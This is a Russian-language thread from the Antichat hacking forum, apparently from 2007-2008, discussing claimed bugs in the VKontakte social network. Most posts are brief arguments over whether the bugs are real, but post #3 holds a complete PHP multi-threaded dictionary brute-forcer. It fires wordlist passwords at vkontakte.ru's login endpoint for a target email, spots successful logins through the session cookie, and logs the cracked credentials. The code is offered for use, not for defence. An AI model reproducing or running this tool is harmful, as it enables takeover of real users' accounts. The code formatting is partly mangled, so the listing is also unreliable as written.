HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ > Социальные сети
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.07.2007, 19:44
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


По умолчанию

/me не увидел ни одного бага в статье

1) спамер
2) тупость юзеров
3) флудер
__________________
 
Ответить с цитированием

  #2  
Старый 29.07.2007, 21:59
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


По умолчанию

Цитата:
Сообщение от lord_of_keyboard  
Не-е-е-ет, то что в куке мыло проверяется кука - это ни разу не баг. И то, что ты не зная мыла можешь залогиниться - это тоже. Ага.
Ну как бы я тут как таковых вообще ни одного "бага" не увидел=\
__________________
 
Ответить с цитированием

  #3  
Старый 30.03.2008, 06:43
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
По умолчанию

разсмотрим..)

PHP код:
#!/usr/bin/php
<?
$mail 
"zell@smtp.ru"// that's mail for brute
define(_dictf,"words.txt");  // file where placed passwords (splited by \r\n)
define(_logfile,"log.txt"); // file to dump results
define(_queue,100); // how mutch thread's start? (for me best results on 200<= threads...)
define(_sock_test_,true); // posible lagging test ( on bad line's ) ;/
/*
define(_proxy_use_)
define(_proxy_host_)
define(_proxy_port_)
define(_proxy_type_)
define(_proxy_login_)
define(_proxy_passw_)
$stat = new statistic(); // not curently realeased (todo)*/
define(_loghead,
"[-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[..............................................................].................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[................................................................................................]\r\n
[-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n
_.-x={[Started in "
.$stat->start." by unix time...]}=x-._
\r\n\r\n
[-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n"
);




class 
queue
    
{
    var 
$_mail;
    var 
$pases;
    var 
$ipass;
    var 
$result;
    var 
$result_i;
    var 
$return;
    var 
$trouble;
    var 
$nbug;
    
    function 
queue($mail,$pass)
    {
    
$this -> result_i 0;
    
$this -> debug_i 0;
    
$this -> count_result;
    
$this -> _mail $mail;
    
$this -> pases $pass;
    
$this -> ipass $pass;
    }

    function 
getback()
    {
    return 
$this -> result;
    }
    
    function 
init()
    {
//    echo "init()::";
    
while($this -> getqueue() == true)
        {
//        echo "Restarting...\r\n";
        
};
    }

    function 
getqueue()
    {
//    echo "getqueue()::";
    
list ($return,$trouble,$nbug) = $this -> combine($this -> _mail,$this -> ipass);
    
$resu $this -> result_i count($return);
    for (
$i $this -> result_i$i $resu$i++)
        {
        
$this -> result[$i] = $return[$i];
        };
    if (
$trouble)
        {
        
        
$this -> debug[$this -> debug_i]  =  "Found trouble.. try to do something...";
        
$this -> debug_i ++;
        for (
$a $a count($nbug); $a++)
        {
        
$ipass[$a] = $nbug[$a];
        };
//        echo "Rotating...";
        
};
    
$this -> nbug $nbug;
    return (
$trouble);
    }
    
    function 
c_h($mail,$pass)
    {
    
$ch curl_init("http://vkontakte.ru/login.php?email=".$mail."&pass=".$pass);
    if (
$ch)
    {
    
curl_setopt($ch ,CURLOPT_USERAGENT'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
    
curl_setopt($chCURLOPT_HTTP_VERSIONCURL_HTTP_VERSION_1_0);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT1);
    
curl_setopt($chCURLOPT_OPERATIONTIMEOUT1);
    
curl_setopt($chCURLOPT_HEADER1);
    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
    
curl_setopt($chCURLOPT_CUSTOMREQUEST,"HEAD");
    
curl_setopt($chCURLOPT_MUTEtrue);
    };
    return 
$ch;
    }
    

    function 
combine($mail,$pass)
    {
            
$count count($pass);
                
$mh curl_multi_init();
                
$trouble false;
                
$trouble_i 0;
                for (
$i 0$i $count$i++)
                {
                  
$conn[$i] = $this -> c_h($mail,$pass[$i]);
                   
curl_multi_add_handle ($mh,$conn[$i]);
                }
    
                do {
                  
$mrc curl_multi_exec($mh$active);
                } while (
$mrc == CURLM_CALL_MULTI_PERFORM);

            while (
$active and $mrc == CURLM_OK) {
              
// wait for network
              
if (curl_multi_select($mh) != -1) {
               
// pull in any new data, or at least handle timeouts
               
do {
             
$mrc curl_multi_exec($mh$active);
               } while (
$mrc == CURLM_CALL_MULTI_PERFORM);
              }
            }

            if (
$mrc != CURLM_OK) {
              print 
"Curl multi read error $mrc\n";
            }

    
// retrieve data
            
for ($i $i $count$i++)
            {
              if ((
$err curl_error($conn[$i])) == '') {
               
$ret[$i]=curl_multi_getcontent($conn[$i]);
              } else {
//              echo curl_error($conn[$i])."\r\n";
              
$trouble true;
        
$bug = array ($icurl_error($conn[$i]));
              
$nbug[$trouble_i] = $bug;
              
$trouble_i++;
              
$this -> debug[$this -> debug_i] = "Connection trouble while try: [".$pass[$i]."] trouble is [".curl_error($conn[$i])."]";
        
$this -> debug_i++;
              }
          
curl_multi_remove_handle($mh,$conn[$i]);
            };
          @
curl_close($conn[$i]);
          
curl_multi_close($mh);
        
          return array(
$ret,$trouble,$nbug);
    }
    
    };


class 
statistic
    
{
    var 
$start;
    function 
statistic()
    {
    
$this -> start date("U");
    }
    function 
stop()
    {
    
$now date("U");
    
$now $now $this -> start;
    return 
$now;
    }
    };
$stat = new statistic();

class 
found
    
{
    var 
$_mail;
    var 
$pass;
    var 
$id;
    var 
$all;
    var 
$hash;
    var 
$fp;
    
    function 
found()
        {}
    function 
init()
        { 
        
$this -> all 0;
        
$this -> fp fopen(_logfile,"w");
        
fputs($this->fp,_loghead);
        }
    function 
show()
        { 
        for (
$i 0$i $this -> all$i++)
        {
            
$var "--[ ".$i." ]--------------------------------------------------------------\r\n"
            
.     "[|] Email  : " $this->_mail[$i]."\r\n"
            
.     "[|] Passwd : " $this-> pass[$i]."\r\n"
            
.     "[|] UsrID  : " $this->id[$i]."\r\n"
            
.     "[!] md5hash: " $this->hash[$i]."\r\n"
            
.     "[+]------------------------------------------------------------------\r\n\r\n";
            
            echo 
$var;
            
fputs($this -> fp,$var);
        };
        }
    function 
add($mail,$pass,$id)
        {        
        
$this -> _mail[$this -> all] = $mail;
        
$this -> pass[$this -> all] = $pass;
        
$this -> id[$this -> all] = $id;
        
$this -> hash[$this -> all] = md5($pass);
        
$this -> all++;
        }
    };
class 
statusbar
    
{
    var 
$onepercent;
    function 
statusbar($full)
    {
    
$this -> onepercent = ( $full 100);
    }
    
    function 
show($num,$found)
    {
//    system('clear');
    
$perc $num $this -> onepercent;
    
$now "\r[_".round($perc)."%_] [".$found." Founded] [Complete... i'm running...]";
    echo 
$now;
    }
    };    
class 
parser
    
{
    var 
$answer;
    var 
$http_answ;
    var 
$found;
    var 
$id;
    
    function 
parser($answer)
    {
    
$this -> found false;
    
$this -> answer $answer;
    
$arr explode("\r\n",$this -> answer);
        
        
$this -> http_answ $arr["0"];
        for (
$i 0$i count($arr); $i++)
        {
        if (
eregi("Cookie",$arr[$i]))
        {
        
$mycookie explode(" ",$arr[$i]);
        
$temp0 explode("=",$mycookie[1]);
         if (
$temp0["0"] == "remixmid")
            {
        
$this -> id eregi_replace(";","",$temp0["1"]);
        if (
$this -> id != "deleted")
            {
            
$this -> found true;
            };
        }
            
        }else{
            
//            $arrs = explode(": ",$arr[$i]);
            //            var_dump($arrs);
            // тут мы можем проверить наличие Location в ответе... воможно будет быстрее чем вышеописаное
        
}
        };
    }
};



    
    function 
do_scan($mail,$obj)
    {
    
    
$dictf fopen(_dictf,"r");
    while(!
feof($dictf)) {$buff $buff fread($dictf,4096);};
    
    
$pass explode("\n",$buff); 
    
$bar = new statusbar(count($pass));
    
    for (
$word 0$word count($pass); $word++)
    {
    
$bar -> show($word,$obj -> all);
    
$a 0;
    for (
$a $a _queue$a++)
        {
//        echo  "$argc[$a] = $pass[$a] \r\n";
        
$argc[$a] = $pass[$word];
//        echo "pass2queue:: [ ".$argc[$a] ." is ".$word." word ]\r\n";
        
$word++;
        };
    
$bob = new queue ($mail$argc);
    
$bar -> show($word,$obj -> all);
    
$bob -> init();
    
$array $bob -> getback();
    
    
$c 0;
    for (
$c 0$c count ($array) ; $c++)
        {
//        var_dump($array[$c]); вывести возврат от курла
        
$f = new parser($array[$c]);
        if (
$f -> found)
            {
            
$obj -> add($mail,$argc[$c],$f -> id);
            };
        };
    
    
/*
        $me = new req($mail,$pass[$word]);
    if ($me -> found)
        {
        $obj -> add ($me -> login, $me -> pass, $me -> id);
        };
    */
    
};
    return 
$obj;
    };

function 
test()
{    
echo 
"[ Prestart testing... ] Resolving www.vkontakte.ru...";
if(!@
gethostbyname("www.vkontakte.ru")) { echo "[ Error ]\r\n";exit(); };
echo 
"[ Ok ]\r\n";
echo 
"[ Prestart testing... ] Resolving vkontakte.ru...";
if(!@
gethostbyname("vkontakte.ru")) { echo "[ Error ]\r\n"; exit(); };
echo 
"[ Ok ]\r\n";
echo 
"[ Testing network.... ] (by sockopen())...";
if(!@
fsockopen("vkontakte.ru",80)) { echo "[ Error ]\r\n"; exit();};
echo 
"[ Ok ]\r\n";
echo 
"[ Testing curl...] ...";
if (!
function_exists("curl_init")) { echo "[ Error ]\r\nTry install curl support visit php.net for more information..."; exit();};
echo 
"[ Ok ]\r\n";
echo 
"[ Testing curl version... ] ...";
if (!
function_exists("curl_multi_exec")) { echo "[ Error ]\r\nTry install newest curl version for more support visit php.net for more information...\r\nCannot run multi thread, exiting...\r\n"; exit();};
echo 
"[ Ok ]\r\n";
echo 
"[ All looks like on my linux box... pretty good ;] ]\r\n[ so let's try hack that motherfucker...]\r\n";
echo 
"[ Testing wordlist file for open ] With fopen() ...";
if (!
fopen(_dictf,"r")) { echo "[ Error ]\r\n"; exit(); };
echo 
"[ Ok ]\r\n";
echo 
"[ Testing fopen() for write log...] ...";
if (!
fopen(_logfile,"w")) { echo "[ Error ]\r\n"; exit(); };
echo 
"[ Ok ]\r\n";
};

test();
$obj = new found();
$obj -> init();
$obj do_scan($mail,$obj);
echo 
"\r\n";
$obj -> show();
?>
 
Ответить с цитированием

  #4  
Старый 29.07.2007, 19:50
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем
 
Ответить с цитированием

  #5  
Старый 29.07.2007, 21:09
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Цитата:
Сообщение от genom--  
аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем
дай ссылку на парочку разных
и баги опиши, можно в пм
 
Ответить с цитированием

  #6  
Старый 29.07.2007, 23:19
Xex
Banned
Регистрация: 10.07.2005
Сообщений: 224
Провел на форуме:
1062041

Репутация: 50
По умолчанию

если бы не заключение, то был бы смысл критиковать
 
Ответить с цитированием

  #7  
Старый 30.07.2007, 21:20
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

Слушай, ну если ты не знаешь пароль хрен ты залогинишься, а e-mail не нужен это баг, однако сам по себе он ничего не даёт... Но знать не помешает.
Вообще - интересно есть ли на вконтакте что-нить серьёзное, насколько я знаю в паблике ничего нет... Было бы интересно узнать, как никак 4 по посещаемости сайт рунета
P.S. Сам тестил ничего не нашёл, но я слабоват в поиске багов)))
 
Ответить с цитированием

  #8  
Старый 30.07.2007, 21:31
LoneWolf666
Постоянный
Регистрация: 09.12.2005
Сообщений: 377
Провел на форуме:
2046072

Репутация: 362
По умолчанию

Хы статья крайне бесполезная и багов там действительно нет.
В любом случае, в контакте не такой уж и прокачанный проект. вот если бы всплыли уязвимости на материнском проекте, тогда другое дело
 
Ответить с цитированием

  #9  
Старый 31.07.2007, 12:18
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


По умолчанию

Автор сайта -
Цитата:
Павел Дуров известен в рунете как создатель самого крупного студенческого форума и других околостуденческих проектов. Закончил Санкт-Петербургский государственный университет в мае 2006 года. Лауреат стипендии Президента РФ, лауреат стипендии Правительства РФ, троекратный лауреат стипендии Владимира Потанина, победитель олимпиад по лингвистике, информатике и дизайну. С осени 2006 года большую часть времени отдаёт ВКонтакте.ру - Национальному Каталогу Студентов, работа над которым не прекращается ни на один день.
Занимается программированием с 11 лет.
от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #10  
Старый 01.08.2007, 00:45
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от blackybr  
Автор сайта -

от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )
Надеюсь сайт СПбГУ не он поднимал =\
https://forum.antichat.ru/showpost.php?p=365054&postcount=2252
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Баги, баги... Mobile Уязвимости 6 01.03.2006 21:57
Баги на сайте крупного Интернет-провайдера России... Jenizix Разное - Покупка, продажа, обмен 0 06.02.2006 03:31
Дефейс по быстрому. Баги на сервере. Админ не выставил права на папки lexa Комментарии к видео 2 31.01.2005 08:54
Помогите найти некоторые программы... PEPSICOLA Болталка 5 25.12.2004 19:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.